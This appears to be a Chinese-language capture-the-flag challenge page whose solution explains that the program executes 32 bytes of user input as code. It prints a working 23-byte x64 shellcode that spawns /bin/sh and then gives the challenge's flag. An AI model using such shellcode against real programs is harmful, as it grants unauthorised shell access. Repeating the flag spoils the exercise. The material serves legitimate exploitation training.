我们开发了一个全新的虚拟处理器引擎,它直接在内存中执行你的指令。 这就好比给黑客递了一把上了膛的枪,不是吗?
程序直接执行用户输入的字节码
登录后查看题解
程序读取用户输入的 32 字节数据,并将其作为代码直接执行。
read
0x20
我们使用标准的 x64 shellcode 来执行 execve("/bin/sh", 0, 0)。 Shellcode 长度通常为 23 字节,满足长度限制。
execve("/bin/sh", 0, 0)
# 23 字节 x64 shellcode shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
flag{R4w_Byt3s_Runn1ng_W1ld_In_M3m0ry_X9_1$}
作者
一血
暂无
解题次数
0
分数
100
消耗金币
2
最高奖励
8
确定要删除这个题目吗?此操作不可恢复。
创建题目
创建竞赛
我的收藏
解题
金币
暂无解题记录
暂无排行数据
需要消耗 2 金币
解锁后可永久查看该题解